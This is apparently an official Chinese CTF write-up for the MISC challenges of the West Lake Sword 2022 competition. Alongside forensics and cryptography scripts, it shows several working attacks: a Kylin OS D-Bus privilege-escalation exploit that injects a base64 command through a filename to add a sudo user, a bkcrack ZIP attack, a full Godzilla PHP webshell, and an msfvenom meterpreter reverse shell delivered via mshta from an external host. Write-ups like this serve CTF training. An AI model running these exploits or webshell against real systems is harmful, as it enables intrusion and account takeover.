MISC｜西湖论剑·2022中国杭州网络安全技能大赛初赛官方Write Up

注：第3步提取图像时应注意每像素的第四字节应忽略3（参见下述提取脚本），若作为Alpha解析将导致图像中部分信息丢失。

提取VRAM还原图像的脚本如下：

#!/usr/bin/env python3

import io

# pip install Pillow
from PIL import Image

# $ volatility vboxinfo
# ...
# FileOffset       Memory Offset    Size
#              ...              ...        ...
#       0xdffcda2c       0xe0000000  0x2000000
#              ...              ...        ...

# Bit-depth & resolution needs some observation on extracted data and make educated guesses.
# Alternatively, resolution can be found by Screenshot plugin

img = Image.new('RGB', (1440, 900))
img_data = img.load()
with open('CharlieBrown-PC.elf', 'rb') as f:
 f.seek(0xdffcda2c, io.SEEK_SET)
 for y in range(900):
  for x in range(1440):
   data = list(f.read(4)[ : 3]) # BGRx
   data[0], data[2] = data[2], data[0]
   img_data[x, y] = tuple(data)

img.save('screen.png')

最终解密脚本如下：

#!/usr/bin/env python3

# pip install pycryptodome
from Crypto.Util.number import bytes_to_long, long_to_bytes

# Extended Euclid Algorithm, eqv. to gmpy2.gcdext()
def gcdext(a: int, b: int) -> tuple[int, int, int]:
 x0, x1 = 1, 0
 y0, y1 = 0, 1
 
 while b > 0:
  q = a // b
  a, b = b, a % b
  
  x0, x1 = x1, x0 - x1 * q
  y0, y1 = y1, y0 - y1 * q
 
 return a, x0, y0

# From the public key extracted from the clipboard
n = 6761456110411637567688581808417563265129495172728559363264959694161676396727177452588827048488546653264235848263182009106217734439508352645687684489830161

# Via factordb
p = 79346858353882639199177956883793426898254263343390015030885061293456810296567
q = 85213910804835068776008762162103815863113854646656693711835550035527059235383

# From VRAM screenshot
c = bytes_to_long(bytes.fromhex('089ebf3622f6f6d498c1b5ecfe4d831d3e876bf55578586389127e0053bb4fe006e2eee5398b86274fdce0418d16c9bb0bf24922cec491b3047d33eb661784c9'))

mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
_, yp, yq = gcdext(p, q)
m1 = (yp * p * mq + yq * q * mp) % n
m2 = n - m1
m3 = (yp * p * mq - yq * q * mp) % n
m4 = n - m3

print('flag1t=', long_to_bytes(m1))
print('flag2t=', long_to_bytes(m2))
print('flag3t=', long_to_bytes(m3))
print('flag4t=', long_to_bytes(m4))

则 spawn 一个终端出来。

python3 执行下面的脚本。

from pathlib import Path


import dbus
import base64
from pathlib import Path

command = "adduser fakeadmin && adduser fakeadmin sudo && echo 'fakeadmin:Bb123***'|chpasswd"
command_base64 = base64.b64encode(command.encode()).decode()
path = '/tmp/`echo ' + command_base64 + '|base64 -d|sh`'
Path(path).touch()

bus = dbus.SystemBus()
remote_object = bus.get_object("cn.kylinos.KylinUpdateManager", "/cn/kylinos/KylinUpdateManager")
remote_object.install_snap(path, dbus_interface="cn.kylinos.KylinUpdateManager")
print("Command executed!")

直接全部粘进去让它执行。

然后就可以修改 glzjin 的密码了。

首先拿到附件为 zipeasy.zip，压缩包里面有俩文件，一个 dasflow.pcapng，一个是 dasflow.zip，猜测 dasflow.zip 就是 dasflow.pcapng 被压缩后的压缩包。那么 dasflow.zip 这个压缩包中偏移固定 30 字节的位置处必定是 dasflow.pcapng。

而当一个加密压缩包中存在另一个 zip 压缩包时，我们又猜测出了该压缩包内的文件名称时，就可以尝试使用已知明文攻击。

看一下加密方式，dasflow.zip 是 ZipCrypto Store 加密的，正好符合。

尝试攻击：

md5sum zipeasy.zip
echo -n "dasflow.pcapng" | hex
time ./bkcrack -C zipeasy.zip -c dasflow.zip -x 30 646173666c6f772e706361706e67 -x 0 504B0304 > 1.log &
tail -f 1.log

得到的 3 个 key 为：

2b7d78f3 0ebcabad a069728c

提取出 dasflow.zip：

./bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip

当然也可直接借助 ARCHPR 的“口令来自密钥”功能进行恢复得到解密后的流量包

追踪一下 POST 数据流，发现上传了 eval.php 文件，很明显的 Godzilla 特征：

代码如下：

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
  eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

由于后续所有的流量都经过了该 webshell 进行混淆，所以需要进行解密：

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
// $pass='air123';
$key='d8ea7326e6ec5916';

$a = 'ca19adef3b7a8ce7J+5pNzMyNmU2Zkj4dYADUu5NThjkf39Jf7E3ff4hHq4XSElxItE0ZQOqa0EPMTZkb2e56eb02f8c2a4d';
$b = substr($a, 16, strlen($a)-32);
echo gzdecode(encode(base64_decode($b), $key));
// uid=33(www-data) gid=33(www-data) groups=33(www-data)

由于需要解密的流量太多，这里通过 文件->导出对象->HTTP 导出所有文件：

发现 flag.zip，发现需要密码，猜测隐藏在其他响应包内容里，这里批量进行解密：

from urllib.parse import unquote
import gzip, base64, re
def encode(D, K):
    res = b''
    for i in range(len(D)):
        c = K[i+1&15]
        res += bytes.fromhex(hex(D[i]^ord(c))[2:].zfill(2))
    return res

# pass='air123'
key='d8ea7326e6ec5916'

for i in range(1,28):
    with open(f'aaa/eval({i}).php', 'r') as f:
        data = unquote(f.read())
        if 'air123' in data:
            try:
                data = re.findall(r'air123=(.*)', data)[0]
                print(f'eval({i}).php - request:')
                print(gzip.decompress(encode(base64.b64decode(data.encode()), key)))
            except:
                pass
        # else:
        #     try:
        #         data = data[16:-16]
        #         print(f'eval({i}).php - request:')
        #         print(gzip.decompress(encode(base64.b64decode(data.encode()), key)))
        #     except:
        #         pass

通过批量解密拿到密码 airDAS1231qaSW@，解压之前从流量包中提取出来的 flag.zip 拿到最终 flag。

从命令返回看是 Windows 系统。

2、抓包，发现这个接口。

是 Python 写的。

请求 /api?action=whoami，发现返回OK。

在自己的VPS上开一个 smb 服务器。

docker run -it -p 139:139 -p 445:445 -v /tmp:/share -d dperson/samba -s "public;/share"

然后在 /tmp 下创建一个 1.bat。

curl http://162.14.79.59:9988

给其赋予执行权限。

chmod 777 1.bat

然后监听端口

nc -lvnvp 9988

访问 /api?action=162.14.79.59public1.bat, 就可以看到有请求弹回来了。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=162.14.121.186 LPORT=4444 -f hta-psh > shell.hta

然后对外放出来。

python3 -m http.server 9866

1.bat 改成如下。

mshta http://162.14.121.186:9866/shell.hta

MSF监听开着。

然后访问 /api?action=162.14.79.59public1.bat。

即可收到回弹。

download C:Th3Th1nsUW4nt.docx ./ 即可拿到flag文件。